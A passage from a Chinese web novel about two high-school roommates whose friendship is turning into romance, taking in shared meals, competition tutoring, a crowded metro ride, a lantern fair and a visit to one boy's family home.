就这?还不如他呢,能帅到谁? 都是些抖机灵的东西,他通通划走了。 但有些废料还是不可避免的,悄悄渗入了他的大脑。 比如这个,做……男的跟男的,怎么做? 然后这一晚上,他就大半宿没睡,新世界的大门开了一个黑洞。 翌日一早,方笑贻洗漱完,出来刚敲了下他的床架,边煦居然就醒了。 他今早没平躺,朝走道这边蜷着,眼睛一睁,眼神一点不眯瞪,反而还有点幽深。 方笑贻对上后,还有点吃惊:“你今天怎么不当‘特困户’了?” “思考人生,睡不着。”边煦夜里看了点不纯洁的东西,眼下看他,心里都有点怪怪的。 方笑贻一无所知,又把他床架一拍:“现在也不能睡了,起来,上课去。” 边煦没动,只说:“你今天怎么想起喊我了?以前也没见你管我。” 方笑贻脑子卡了下,他没想过这个问题,也不觉得它需要想,这么小的屁事。 他想喊就喊,方笑贻说:“是这样的,咱们的室友情,它只是不多,不是死了,ok?” 边煦有一点点不ok,因为他脑子里蹭就冒出来一句:室友,只是男同的借口—— 这一早上,早读依旧,教室里也依旧蛐蛐蛐的,因为昨晚才热闹过。 刘丞丞也没少回头,他吹完牛,又纠结,昨晚到底是谁举报了他们? 方笑贻却不是很在乎,如果有现成的名字,他是会听的,但让他想办法去找,他懒得费那个劲。 边煦昨晚没睡好,一早上都蔫蔫的。下了课也不跑了,面朝墙皮趴着睡觉。 课间的走廊里,偶尔也有几个“路过”的女生。 方笑贻没想看,但也看在了眼里。 这一周之后,都是正常上课,除了数学,会在晚自习去平行教室上小班。 何子谦也在这个班上,但大概抢孩子闹得太难堪,尤其是他妈最丢脸。所以到了这个班里,他再也没跟方笑贻说过一句话,座位也选得很远。 跟边煦形成了鲜明的对比。 他不仅在小班也要挨着坐,还开始下凡,跟着方笑贻一起去吃大食堂了。 第42章 一中有一大一小两个食堂,也不是没有名堂,大的叫陶居,小的叫松园,但大家还是大小食堂的叫。 大食堂标准,面积大、花样少,便宜些,但比起方笑贻初中的食堂,它价格也是1.5倍起。不过学校舍得放肉,冲这个质量,无槽可吐。 小的是个性化餐厅,能从麻辣烫吃到牛排,想吃饱,20起。 方笑贻只有第一周,跟着谭威过来长见识的时候,吃过一顿砂锅粥,18块。饶是煮粥的大姐给他多放了1只虾,谭威大为不公,他后来也没再去过了。 所以边煦在大食堂,一看就吃不好。 头一顿,他来打了3个荤菜,土豆烧牛腩、豉汁蒸鱼、卤鸭腿。结果只把土豆挑着吃了,然后在方笑贻盘里捞了几片上海青。 方笑贻服了他了:“你不吃肉,干嘛不打全素的?” 边煦说:“我不太吃素,只是这几个肉菜,不适合我。” 他还挺给大厨面子,方笑贻乐道:“怎么个不适合法?” 边煦刚要张嘴,又闭上了,提起筷子夹了块牛腩,喂到了他嘴边:“没有调查就没有发言权,你尝尝。” 可方笑贻吃了:“我觉得还行啊,咋了?” “不柴吗?”边煦说。 方笑贻顿时明白了:“我还好,但你可能是好肉吃惯了,牙口没练出来。还有这个鱼,你是怎么的?觉得不新鲜?腥?” 边煦点了下头,还有它很肥。 至于鸭腿,鸭腿上有毛。 方笑贻说:“……那你没法在这儿吃了,你回小食堂去吧。” 边煦来了句:“小食堂吃也这样,什么食堂吃一个月都够了。” 虽然这是事实,方笑贻无语的是:“……你是可以‘也’,但我不用跑啊。” “你不跑,就没饭搭子了。” “没有就,”方笑贻微妙地卡了一瞬,“没有。” 但太短了,边煦没听出来,无奈道:“你没有,那我也没有了,这不行。” “有什么不行的?”方笑贻说,“之前我俩各吃各的,你还不是照样吃?” “是吃,”边煦看着他说,“但没有现在香。” 香个…… 方笑贻还真是没反驳下去,有人陪吃、有说有笑,菜的种类还会翻倍,哪样都是开心的事。 他只是不明白,边煦把吃饭弄得这么麻烦的原因:是因为他精神需求高,比起吃好,更需要人陪吗? 但不明白,方笑贻也还是放任自流的成了他的饭搭子,并迎来了一段与孤独绝缘的、轻松的校园时光。 边煦虽然像个人形的狗皮膏药,但他俩之间,却也不是他单方面地黏着方笑贻。 方笑贻对他自有需求。 首先就是竞赛,方笑贻知识面没拉开,头一周小测大翻车,直接进倒数。被主课老师林继扬当堂训了一顿。 老林比高蓬年纪大一轮,人高壮严肃,右脸颊中间有个疣子。他也不管你有什么苦衷,不会就是挨训。 方笑贻自己搜过资讯,知道竞赛很残酷,挨个训无关痛痒,他只在错题本上记了一条:托勒密定理,弄懂证明过程。 可过了会儿,边煦居然从走道里,往他桌上推了一把碎纸。 这班上人少,就30来个,所以没有并桌。 方笑贻拨开一看,是1张抄着证明过程的活页笔记,和3张撕下来的例题碎片。 笔记是用黑笔抄的,但右上角有一个红色的小方框:[我下课给你讲,包会] 方笑贻心里有点想笑,脑中又才想起来,应该问他借个笔记盘一下重点,背后就响起了一个魔鬼的声音。 “还包会,我都不敢给谁说包会。” 老林不知道什么时候在背后刷新的,说着还一把抽走了2张小抄,抖开说:“来我看看,这到底是个什么万能秘籍?” 班上一下全看过来了。 方笑贻见状,干脆主动投案,把剩下的两张也递给了老林,因为没什么见不得人的。 连小话都是传递知识的渴望。 果然老林翻着瞟完,脸色就没那么板了,看着边煦来了句:“你这3个例题,选得倒还是可以。” 很经典。老林心里赞赏,脸上又没表情,又说:“行嘛,我给你1节课,你上去,给我把他们都讲到包会。” 边煦才不去:“老师你讲吧,我不会教人。” 老林把那个小红框朝他一翻,要笑不笑道:“可你这儿不是‘包会’的吗?” 边煦说:“我包的只是1个,不是32个。” 这言论颇为霸总,起哄声一下就来了。 “噫~” “噢哟。” “别只包1个啊煦子,包2个,带我。” “包3个,也带我。” “包……” 方笑贻心里也在想:这要是换个女生,这场面得暧昧得不能看了。 但是女生…… 边煦身旁要是出现了女生,也就、没他什么事了。 如果这会眼前有镜子,方笑贻就能看见,自己忽然蹙起来的眉心。 可是生活里没有如果,看见皱眉的就也不是他自己,而是旁边看他的人。 边煦总是留意着他的,见状心里就想:他为什么皱眉?是不喜欢被起哄吗? 但下了课,甚至回了寝室、教室、甚至家里,他都开始给方笑贻讲衍生题了:九点圆、欧拉线、蝴蝶定理等等。 而方笑贻学起知识点来,风格居然很踏实。他是那种做一题就要会一题的类型,没掌握,还怪努力的,中午回去也沉淀,晚上也要沉淀。 边煦见状,也只好跟着他沉淀别的。 再就是那个ai客服,它也不是一上岗,就开始完美代替人工了。 实用起来,它经常翻车,咨询量大了、v信后台更新补丁会死机,能自动回复的内容也有限…… 凡此种种,把他俩黏得简直焦不离孟。 黏到语文课,小组演课堂话剧本,分角色,边煦都会把路人父母的角色垄断。 “爸爸妈妈台词少,我跟方笑贻演吧。” 刘丞丞“噗”的笑了:“你俩一个比一个像爹,还‘妈妈’,哈哈哈不行我会疯狂出戏。而且‘话少的妈妈’,咱这不是有现成的吗?是吧,杨妙?” 杨妙差一点就点头了。演这种边缘空气角色,她觉得她是天选之子。 可边煦先说:“杨妙要演女主,台词已经够多的了。” 刘丞丞压根没预习,边翻书边问方笑贻:“很多吗?” 方笑贻点了下头:“是不少,” 杨妙也欲言又止:“我……” 她不想演女主。 “那行吧,”刘丞丞绅士地打断了她,“是不能给女主太多的杂活,你俩谁当‘爸爸’谁当‘妈妈’?” 边煦当什么都行,转头看方笑贻:“你选。” 方笑贻肯定选爸爸,因为爸爸台词更少,但“他”在剧本里最先开口。 分完各自熟悉环节,方笑贻才开始捧读:“你好,太太。” 右肩上就忽然歪过来一个脑袋,和一声凑在耳边的低笑:“嗯——?” 方笑贻心里登时被吓了一跳,耳朵也是,被这个堪称温柔的玩笑。 边煦有时总会这样,无意地惊到他。 比如体育课,边煦跑完操,像条死鱼一样,从背后架他身上。 或者是课间操,刘丞丞买了烤肠,一人一口,分到他这里时,边煦却忽然探过头来,一口把肠叼走的时候。 方笑贻脸上虽然在笑,说:“你个畜生,也不给我留一口。” 但却只有他自己心里知道,他差点没往后弹出去。 为什么这么一惊一乍的?男生这样闹,其实不算什么。 课间,刘丞丞和马嘉楠为了抢最后一口面包,刘丞丞为了出其不意,就把马嘉楠亲了一口。完了谁也没有怎么样,还是嘻嘻哈哈。 而边煦也看不出什么异常,所以不正常的竟是他自己吗? 方笑贻对此有点迷茫。但他也没有深想,他不敢,也不愿意想。 时光匆匆,稀里糊涂地一晃,便到了月末,国庆和中秋一起来了。 放假前夜,谢恒原本是提议,全班请老师一起吃个过节饭的。但好几个老师,人都已经在高速上了,高蓬也说不合规矩,心意领了,叫他们自个玩去。 而群里有人响应,也有人没有,谢恒就只拉了响应的,以及某两个基本不看群的货色。 方笑贻其实看见了,他只是没有准备去。现在聚餐成本不低,去了也就是换个地方吹牛。 只是睡前,他又忽然收到一条。 [新陈代谢]:方老板来聚餐,边董都来了,你不来吗? 可边煦就在头顶上,他今天瞎冲的,很早就出来了。 方笑贻登时踹了下床板:“谢恒骗我,说你要去聚餐。” 边煦从上铺垂下半张脸,拿手机的荧光往下照他:“也骗我了,说你去了。” “我就知道,”方笑贻无语地回起消息,“行了,睡觉吧。” 边煦却没动,看他在手机上点了两下,才说:“要不去吧?我俩都去。” 方笑贻愣了下:“你这有点反复无常了。” 但是国庆夹着中秋,一下放那么久。 边煦感觉回了家,自己会想他,节前就想多待一会,说:“城隍庙那边节前会有灯会,吃了饭去逛逛吧。” 他是好多年没去看了,而方笑贻估计更没有闲心去看。 第43章 方笑贻是真有事。 重大节假日,正是创收的时候,他1号开始早上就有兼职。 再有他手也快,也已经给谢恒回完了:[家里有事,下次聚] 可边煦绑架他:“你不去,那我也不去了。” 方笑贻头一下就大了:“注意你的言辞,尤其是不能这么跟班长说,谢恒不得念死我。” 边煦就看着他装:“你又不怕他念。” “还是有点怕的,”方笑贻说完,又撮蹿他,“你想去,就去啊,我这是没办法,我节后第一天早上5点就得起来,晚上得早点回去睡觉。” 边煦就是因为这样,才更想让他出来。别人都在聚餐?他也该出来玩一下,再者边煦也想跟他呆一块。 “你在,我才会考虑去。” 他最近老多这种屁话,方笑贻一惊一乍了几回,在彪悍的适应力下,居然也习惯了。 此时已经能泰然应对:“我在不在,有什么区别?” 边煦也是拿他没辙。 个榆木疙瘩玩意儿,自己试探来试探去,没见着他脸红心跳,倒是日见看着他刘丞丞化了。 你撩他,他以为你在学刘丞丞卖腐,于是他也卖。 但直男的卖腐通常都是:表面上看,他是在跟你眉来眼去。实际上,他只是在偷偷加大手劲力度,掰你、掐你、抽你…… 边煦的脸和指缝都被他掐得通红,要么就是在足球场被压个半死,什么暧昧都得嗝屁。 然后,刘丞丞也不是个好东西,给他灌了一堆垃圾。 比如今早,边煦踩铃来早读,还看见他俩在搞垃圾探讨。 “因为cos0=1,”刘丞丞斜倒坐着,拿笔在纸上一划,最后一锤定音,“所以,1踏马都是0装的!而cos90°=0,装直男的都是0,好记吧?” 方笑贻脸上冒出个问号:“就……一个三角函数,需要搞得这么复杂吗?” “饱汉子不知道饿汉子饥,”刘丞丞白他一眼,“你以为谁家脑子都跟你们这排似的?什么弦啊切啊割的这么多,我靠谁记得住?必须上点技巧!” 方笑贻只扭了下眉毛,没说话。 边煦却真的无语了:这是什么gay编的废物技巧? 但刘丞丞又是1啊又是0的,方笑贻居然没疑问,难道他还懂这些? 边煦新奇地乜了下眸光,过去座位上坐下,开始微gay装直:“你俩在说什么,1啊0的?” 方笑贻已经被刘卖腐教废了:“就是,刘丞丞是0,小马……也是。” 刘丞丞怒拍书堆:“放屁,小马是0,哥是直男!” 但没人理他,边煦眉眼一抬:“那我呢?” 方笑贻不假思索:“你是猪。” 他都没把自己当人,边煦也是哭笑不得,但另一方面,也挺好玩儿,边煦倒是想看看,他俩能牛头不对马嘴到什么时候? 边煦收回思绪:“你在,饭就香点,我就可以只跟你说话。” 方笑贻一直觉得他有点脱离群众,闻言提醒他:“那我俩干嘛还要去聚餐?去吃食堂不就行了?” 边煦忽然乐了一声:“你要是只想我俩吃,那我也行。” 方笑贻迷之沉默一瞬:“……你语文的分是不是全扣在阅读理解上了?” 边煦立刻用行动否定了他:“你没反对,我就当你答应了。” 方笑贻嘴角一抽,还没说话。 边煦又说:“吃了你陪我去城隍庙南大街转转,完了我打车送你回四海。” 方笑贻感觉他吃饱了撑的:“转个屁啊,今天那块儿还能有你转的空间?鞋都给你踩掉。” “踩不到你,”边煦是个哄的语气,“我们不上景区街,去后头的居民巷子。” “去居民巷子,”方笑贻隐隐感觉不对了,“干嘛?你家在那儿……不会还有一个商业帝国吧?” “想什么呢?”边煦服了他,“那块的商业帝国都是zf的,只有一个老房子,是我爸长大的地方,我每年中秋都会去,看看他回来没有。” 他语气松弛,但带着一点遗憾。 又涉及到老杨,方笑贻彻底没话可说了:“行。” 翌日,因为节后有六校联考,节前还是正常上课。 早读课间,谢恒就还有空,过来骂骂咧咧:“你们两个,脱离群众、无情无义,对我们这个集团,一点归宿感都没有!我恨你们!” 刘丞丞也转过来:“诶呀大佬哥,来嘛。你俩不来,场子里总是缺乏一点逼格的感觉,寂寞。” 方笑贻目前还不算大佬,但他往前蹿的势头明显,数学也突出,满分也考过。 这时,他嘴里说着:“没有的事,我爱集团,只是生活所迫。” 实际上这一天,他没少拿单词机跟同桌传“暗度陈仓”的赛博纸条。 边煦:[有什么想吃的吗?火锅?炒菜?特色菜?] 方笑贻:[没有,我不会吃,你看着办吧,要等的不要] 他没有一点耐心等饭,无论是什么神仙美味。 边煦:[那就去私房菜?我这有个会员,人少] 方笑贻:[贵不贵] 边煦:[不贵,人均100] 方笑贻:[就它了] 边煦:[给你家里说过了吗?] 方笑贻:[说了] 边煦:[要李叔来接吗?] 方笑贻:[你别害人了,内环堵得冒烟,坐地铁去] 边煦:[嗯] 方笑贻:[你收拾东西快点,下了课早点走,免得碰到班上的,说不清] 边煦:[你怕什么,又不是私奔] 方笑贻:[哥你发骚了,250°,不说了,你歇会儿吧] 可把他俩忙得头也不抬。 杨妙好几次回头,想问方笑贻:你放了学,是直接回家吗? 都见他不是埋着头在书堆后面倒腾,就是在给边煦扔东西,或者朝对方翻白眼。 边煦也不生气,有时还乐,肩膀微微抖动,是一副在别处几乎没有的温和辞色。 杨妙就一直没插上话。 到了下午第二节课间,大伙明显心思浮动了。刘丞丞甚至上app上谢恒选的饭馆里头,看起了招牌菜。 受这种气氛感染,方笑贻居然也开始期待放学了。 他对好吃的不太在乎,只是被边煦陪习惯了,一起打混干什么都行,更何况是去看老杨真正的家? 最后一节课是班会,高蓬也挺有心,进门的时候,右边臂弯里,居然还夹着个广式豆沙大月饼。 “注意安全,注意复习,别玩得忘了节后还有联考,联考非常重要!至于别的,我就不啰嗦了,来个会切蛋糕的,上来切月饼。大家意思意思吃一口,都圆圆满满、顺顺利利。” 底下马屁精瞬间上线。 “高总!不能再帅了,给点活路。” “吃了这月饼,我联考拼命。” “颁奖,必须颁奖了,感动中国好老班!” 方笑贻的西瓜切得很不错,相当均匀。 但边煦根本不吭声,开玩笑,就是他上去切,他都不乐意让方笑贻伺候别人。 最后月饼是刘丞丞上去切的,他在家估计没少切蛋糕,小块切得干脆利索。切完让组长下来发,一人给个叉子,爱叉哪个叉哪个。 方笑贻两个坐在最后,高蓬还跑到座位后面打趣:“你俩坐这儿,好吃的都选不上,该不会不高兴吧?” 方笑贻乐了下说:“我还是有得选的,只是他没有。” 他俩说完在那儿瞎笑,边煦根本不理他俩:“高总你到别处去,别搁这儿消遣我们。” 可几分钟后,组长发到这里,盘里还剩两小块。 方笑贻别说选,他闻都不爱闻,他本来就不爱吃月饼,这豆沙里头还有陈皮味。 边煦看他闻了下就皱脸,放下就全部推了过来:“你吃吧,我吃不来。” “意思下吧,”边煦岔了块小的给他,“舔个皮也行,高总专门准备的。” 舔就舔吧,方笑贻因为只拿牙刮了层饼皮,就没伸手去捏叉子。 谁知道他才叮完,边煦垂眼就把他剩下的吃了,吃完又去叉下面那块。 方笑贻心里霎时非常虚地跳了一下。 他们虽然天天也在对面的盘子里挑菜吃,但这种咬过剩下的,还是头一回。 与此同时,前排,刘丞丞也是一副目瞪口呆的样子。 他刚想转头问他俩:我牛笔吧?分的是不是一样大? 就正撞见边煦那个动作。 而熟悉边煦的人都知道,哪怕是跟唐悦在一块,也没见他扫过盘子。 太怪异了,刘丞丞满心都是。 * 今天全榆林市的人大概都来坐1号线了,地铁上整个挤成一块固体。 两人一下课就闪电式开溜了,下到地铁站台上的时候,站台上全是人,还有个大姐站在他们下来的这个门位上,提着一袋葡萄正在展示。 它们都被挤瘪了,塑料袋也被挤破了,还在往下滴汤儿。 “我服了你个1号线,”大姐怒极反笑,“还怪贴心的嘞,直接给我榨成汁!” 周围哄笑一片。 方笑贻站在步梯最下几阶边上,见状扭头去看边煦:“车上挤爆,你看到没?” 边煦脸上还有点开眼界的余震:“看到了。” 方笑贻瞥见他那个表情,有点想笑:“怕不怕?小心把你大少爷也挤爆。” 他特别爱玩这个“少爷”梗,边煦习惯了,配合道:“怕,一会保护好我。” 方笑贻果然就乐了:“你这体型,说这个不合适。” 边煦也跟着笑:“行,那我保护你。” “别吹了,你是不懂人间险恶,”方笑贻跟他说真的,“不开玩笑,是真的很挤,你现在还可以反悔。” 边煦怕反悔了他就回家了,说:“不后悔,就4站,坐。” 只是稍后挤上车,他才切身感受到竞争的严峻。 首先上车就不容易,门一开,没下来两个,全是要上的。 方笑贻叫他先上,边煦一上去,脚尖离门边就剩十来厘米了,压根没方笑贻站的位置了。 边煦就准备下去算了,可他还没动,方笑贻就带着一点冲劲撞到了他身上,但脚都没地方立正,人像是站在门缝中间。 这看着太不安全了,边煦赶紧把他往怀里搂,又麻烦后面的人让让。 然而根本没有人动,边煦说下去,方笑贻又说:“不够折腾的,这会儿哪一趟都这样,关了门就好了。” 很快,门轴开始对拢,滴滴滴地响起来。 站台上的工作人员捏着“小蜜蜂”喊道:“门要关了,车上的人往里挤一挤,挤一挤啊。” 喊到方笑贻他们这个门,还伸手把他的书包往里按了按。 这一下子下去,他跟边煦就成了贴纸,左胯骨边都顶了下。 方笑贻脸上瞬间跟扑了阵蒸笼热气似的,熏得背心都差点炸汗。 太近了。 边煦的心跳、他T恤上的洗涤剂气味,也都存在感倍增,方笑贻一边感受,一边又本能想往后撤。 虽然是形势所迫,但也有点过了,别人亲嘴,怕是都贴不到这么紧—— 边煦却是到了这一瞬间,才忽然回过味来,他俩这姿势,是非同一般的亲密。 之前,他忙着提防门夹到方笑贻,心里很正直。 此刻,边煦眸光促狭地一闪,右手臂又往紧了收,理直气壮也是实话:“别动,你书包都还在蹭门。” 方笑贻不想跟他捂一块儿了,又热、又囧、又没辙,只好迁怒:“这破书包,当时都不知道带它干嘛?” 跟行李一块儿,锁超市寄存柜,啥事没有。 边煦对这“助攻”却挺满意:“没事,一会儿门关了,你给我,我来背。” 方笑贻心里只有拒绝:像什么话?又不是男…… 想到这里,方笑贻的表情瞬间僵住:他今天打的比方都中邪,越打越别扭,不许再打了! 等门关好后,就多了点腾挪的空间,他坚持自己提着,边煦也就随他去了。 车厢里的气味不好闻,被挤被蹭的也难受,但边煦猪油蒙心,要下的时候,居然感觉还挺快。 路上,方笑贻接了个电话,没几句就挂了。 但他举起来的时候,边煦看见来电人是“老袁”,等到挂了就问了问。 “老袁找你干什么?” “没什么。就是上次我家里那事,老袁跟网吧里的老哥也是帮了忙的,我妈说该谢谢人家,我就找了个装修师傅和一个阿姨,去给那网吧收拾厕所和浴室。刚刚收拾完了,他打电话,给我说一声。” 边煦没想到这事还有后续,说:“花不少钱吧?” 花了3个月生活费,但该花的钱方笑贻舍得,他说:“还好了,糙活糙干,瞎搞。” “总是花钱了,别人看得到的,”边煦看了他两秒,忽然来了句,“你妈妈人挺好的,你也是。” 知恩图报,不像自己家那个,全世界都欠她的。 猛不丁的,方笑贻被他夸得一愣,因为他看着特别真诚。 方笑贻仔细看了眼他的表情,又没瞧出低落来,只好瞎问:“你家里最近,没什么事吧?” “没有,”边煦问他,“怎么忽然问这个?” 方笑贻跟他干瞪眼:“因为你忽然发感慨。” 边煦笑了下说:“我就随便一说,对了,最近那个姓吴的,还闹吗?” 他们并不是一走,就此消失了。前阵子那个男的,还用陌生号码给方笑贻姐姐发过恐吓短信,这事边煦是知道的。 “没闹,消停了,”方笑贻心里还挺没底,“不知道干嘛去了。” 边煦看他还在皱眉,伸手在他眉心一弹:“他消停了,你也消停会儿吧。别绷着了,放松点,吃大餐呢。” 方笑贻一下被嘣笑了:“100块的大餐,能吃饱吗?” “讲道理,”边煦纠正他,“是200块的。” “我觉得区别可能也不大。” “为什么?” 方笑贻叹了口气:“因为这儿一个没牌子的冰淇淋,就要30块。” “要不了,你被坑了,”边煦说,“以后到这边来给我打电话。” 方笑贻其实很少过来,那回还是带全家一起,当旅游过来的,结果又挤又坑,他就再没来过了。 但是这会儿有个土著,他不怕麻烦,方笑贻也不客气:“好。” 下了地铁,天还没黑,但云层有点灰厚,夜间像是有雨。但这时,这出口外头正在开集市,摊贩云集。 两人路过一个香喷喷的摊子时,摊位后面是个在刷指甲油的妹子老板,她原本只弄了个喇叭在无情的吆喝。 “桂花香包、玉兔福铃,中秋特惠买一送一~” 但看到他俩路过,忽然就探头喊了起来:“帅哥,买香包买铃铛呀,过节送女朋友。” 方笑贻好歹还看了她一眼,边煦根本没理她。 两人将将要路过,可谁知道,那女的又来了一句:“送男朋友也行啊。” 方笑贻直接满头黑线:现在这些卖货的,为了赚钱,已经没节操了。 右边,边煦却忽然搭住他的右肩,没停下来,但回了个头说:“男朋友,给你买个铃铛吧,铃铛一响,黄金万两。” 第44章 混杂着小吃气味的空气里,蓦然就新添了一股气息:窒息。 方笑贻侧头盯着他,表情逐渐空白。 边煦有时真的很让他,不知道该怎么接。 这会要不是在大街上,方笑贻高低得捉着他领口摇两下:瞎喊什么啊?什么男朋友?卧槽吓他一跳。 但这会儿就在,外加那个烦人的摊主还在魔音贯耳:“哈哈哈帅哥真会说话啊,活该你有……” 方笑贻不想听她说了,立刻对着边煦,打断道:“买!给我把这条街都买下来。” 连“男朋友”他都没反应,试探这条路,到这儿算是堵死了。 但好在边煦今天也没想表白,也没有特别挫败,哑然失笑道:“买不起。” 方笑贻拽着他就走:“买不起就走,不要装比。” 接着,他自己的嘴巴跟着也失忆了,绝口不提什么男朋友。 边煦路上也没再烦他,东拐西弯地带他买小吃:驴肉火烧、无骨鸡柳、小生煎、糖炒栗子……还买了两大杯无名小店的饮料。 方笑贻平时不太吃这些,但满大街都在吃,他不吃,边煦就喂。方笑贻怕了他了,跟着一通胡吃海塞。 然后吃了会儿,好像是把食欲吃开了,就感觉那火烧挺香,栗子也绵甜,甚至边煦买的那个名字奇长的黑暗饮料,居然也不错。 边煦看他一会一口,像是挺爱的,就把这奶茶记住了:奇亚籽羽衣甘蓝牛油果燕麦爆珠酸奶。 快到餐馆的时候,边煦接了个电话,爱答不理地说了两句就挂了。 方笑贻一听就感觉出来了:“你妈打来的?” 边煦点了下头。 “有事吗?”方笑贻问他。 边煦说:“没什么事,就是问我在干什么,晚上要不要去她那儿吃饭。” 方笑贻一听就觉得有点扯淡,这会儿已经是饭点了,才问?早干嘛去了? 但边煦反应平平,方笑贻总不能比他还不满,就没说什么。 没多久到了餐馆,这馆子从门外,看不出来一点,连个粉笔写的牌子都没有。但进了窄窄的前门过道,往左一拐,院里却是大有乾坤。 又是小水池又是露台的,草木繁盛还点了干冰,氤氲到讲究。 方笑贻一下就踟蹰在了院口:“你确定,这里是你说的那个人均?” 边煦抵着他背心,把他推了进去:“确定,因为这里不许点菜,老板弄什么我们吃什么。” 方笑贻乜了下眼睛,刚要说:……这么霸道? 一道豪爽的男声先横插了进来:“哟边煦,来了啊。” 方笑贻循声一看,就见院内连廊的阴角那里,一个平头哥刚从后面的过道里冒出来。 他三十上下,戴黑框眼睛,山羊角十分秃,穿T恤大裤衩拖鞋,打扮颇有四海风味。 边煦冲他“嗯”了一声,又小声对方笑贻嘀咕:“文哥,餐馆老板。” 方笑贻冲来人笑了下:“文哥好,我是他同学,方笑贻。” “诶好好好,快进来,”文哥热情地一招手,“你俩挺会来,今天大厨做酒香梅肉,惊天地泣鬼神的好吃,你俩没开车吧?” 边煦无语了:“我俩开不了车。” “玛德忘了,”文哥一拍巴掌,乐得不行,“都怪你们这些小孩,营养过剩,才这么一丁点,个个都得仰着头看,真受不了!” 边煦跟方笑贻都没理他,文哥就叫他俩自己上楼去找位子。 “这谁啊?”上楼梯的时候,方笑贻说,“怎么感觉像你哥似的。” 边煦说:“不是我哥,是唐悦的哥,他家里一个挺远的表哥。” 提起唐悦,他俩没事就吃一块儿去了,方笑贻说:“他今天没找你吃饭吗?” 边煦说:“没有,他明天晚上有演出,今天要排练。” 方笑贻去不了,但也还是问:“在哪儿演出?” “省工体馆,”边煦看向他,“唐悦可能得明天才想得起来,要给你票。” 方笑贻好笑:“给我我也去不了。” 边煦还挺想跟他一起去的,但方笑贻说过了,他晚上要去摆摊,套那种扔的圈,半个晚上要是热闹,能有个两三千。 边煦觉得他辛苦,但又觉得那个数目挺厉害,因为边煦找的网球教练,一个小时也就200块。 都说1万小时定律,边煦感觉有朝一日,他大概是要挣点大钱的。 上了2层,楼上是个露台,两边起了廊子摆桌,中间是碎石粒里摆的青砖小路。 人也是真的不多,都没坐满,两人随便找了个空桌,才坐下,把手机拿出来,看见班上的聚餐群里的视频,一个女生就过来了。 她穿的是六中的校服,鹅蛋脸高马尾,跑到桌边,膝盖弹曲两下,俏皮地对边煦说:“那个,帅哥打扰一下,能不能加个v信啊?” 边煦拿余光扫着对面,婉拒得很快:“不方便,有对象了。” 那妹子“哦”了一声,但并不失望,脚尖一转,又冲到方笑贻那边,如法炮制了一遍。 边煦:“……” 方笑贻却是乐了一下,现在的女孩挺好的,勇敢、有能量,要是他姐也像这样,可能就是另一种人生了。但这假设太脱离实际,他就打住了,只说:“不好意思,我手机没电了。” 妹子顿时不满:“这个不方便,那个又没电,那我拍你俩一张照片,总方便也不用电吧?” 边煦才忽然意识到,他俩确实没拍过合照。 有了这念头,他倒不太排斥,去看方笑贻,那个更随便,两人于是答应了,但有一个前提。 “你别把我俩挂网上去了,”方笑贻说,“害怕。” “放一亿个心,不会的,真帅哥我根本舍不得分享,”那妹子喜笑颜开地举着手机,边退边指挥,“你俩往桌子中间凑点,脸在太边上会变形。” 很快拍完,她又过来炫道:“看看看看,我拍得多好!加个v信嘛,我传给你们。” 边煦看了眼那张照片,有点想要,就说:“加我就行,他手机没电了。” 等人走了,方笑贻揶揄他:“你哪儿来的对象?” 边煦说:“向以后借的。” 这里上菜挺快,多半是素菜,但那个酒香梅肉很好吃,两人根本不饿,还是把盘底捡得精光。 放下筷子的时候,方笑贻摊在长条沙发座上,感觉自己都撑得头晕,就又在楼上坐了好一会才走。 夜里的风渐渐在变大,但是不冷,吹起来也很舒服。 边煦在对面玩手机,指节分明、睫毛浓长。 方笑贻大概是吃饱了撑的,心里不知道为什么,就是有点想叹气。 之后,两人又溜达回街上,随着人流淌过城隍庙,这边张灯结彩的,还有表演和八卦看。 表演是一列汉服游街,打头的男女,都是队里颜值最高的。 边煦也是自从发现了自己的心思,才注意起男生的长相来,他两眼一瞟,很快又得出结论:长得还没有方笑贻好看。举止也有点娘,不如方笑贻大方。 至于八卦,则是个土豪的包楼式表白,7点半忽然在财富大厦外墙上亮起,是一列方圆2里地都看得见的巨幅大字:何楚薇[爱心]我爱你! 他俩甚至还碰到了一个人形机器人。 它戴个黑色鸭舌帽,身上还背个迪卡龙橘色小包,在路上一边走,一边“挥手”。然后“哗啦”一下倒在地上,不动了。 搞得摇它出来拉风的男青年满头大汗,长按开机没用,但抱它又抱不动。 而边煦也玩机器人,方笑贻于是驻足,跟他看了会儿热闹。 “怎么忽然扑街了,”方笑贻问他,“没电了吗?” 边煦说:“电源开关那儿还能按亮,看着不像。可能是机体过热,系统自动保护,休眠了。” “那咋整?” “打个货拉拉,把它拉回家。” 太损了,方笑贻差点笑死:“搁路边晾凉了,走回去不行吗?” “够呛,”,边煦说,“它电量应该不够了。” 方笑贻登时感觉,机器人离统治世界还是有点距离的,又跟边煦聊起他的机器人们。 边煦说:“我只有小的,就是你在寝室玩的那个。” 可那个ebot,比路上这个人形的,要灵活n倍,两人又从电机扯到扭矩,一路扯回了边煦家的老宅。 他家的老房子,就在景区主街后面隔一条巷子,要过去得过一道有保安守着的道闸。 过去之后,路上就空了,这会风更大了,香樟树被吹得簌簌作响。 很快,边煦停在37号院门口,这里内外黑透,别说边扬,连只猫都没有。 方笑贻跟着他进门,灯一开,屋里的装修实际很老气,墙多玻璃少,家具也老,格调离地价差n截。 但这却是屋主刻意维持的老旧。 古董架上摆了很多老式的相框,方笑贻一抬头,心里瞬间就感觉到了悲哀。 相框里很多都是老杨,从少年到青年时期,他衣着考究、相貌堂堂。还有一对长辈的照片,男人年轻的时候穿着军装,非常威严,女士则是个浓颜大五官的美人。 边煦手也没去洗,就指着给他讲:这是我爸去上大学那天拍的、这是我爷爷边玉山…… 看得出他很想老杨,把人的照片背景都背得滚瓜烂熟。 说了会儿,方笑贻又跟着他去了次卧和仓库。 次卧里全是书墙,大部分都是大部头。仓库里则堆了很多模型,船模、车模、高达模型和一堆连着奇怪机械手臂的四驱赛车底座,墙上还挂着一排复合弓。 但这些多半都是边煦的,他在里头扒了会儿破烂,又给方笑贻拿了个弓玩,然后好像也没干什么,他定的闹钟就响了。 时间到了,他得送方笑贻回家了。 两人很快关了门和灯,正要出院门,可开关还没摁,门外先响起了一道女声。 “范董、严总,来,欢迎光临,这就是我家那套院……” 边煦一把就拍在了门开关上。 那个力道,方笑贻看不见,都知道他生气了。 第45章 门一开,外头站着2男4女。 一个老男人带着个年轻女秘书,一个老大姐也带着个女秘书,剩下一男一女打前殿后。 其中,最前面的女人明艳精致,穿一身米色无袖长裙,表情也最见鬼。 “你……” 方笑贻看着她脸色瞬息万变地对边煦说:“你不是跟同学聚餐去了吗?” 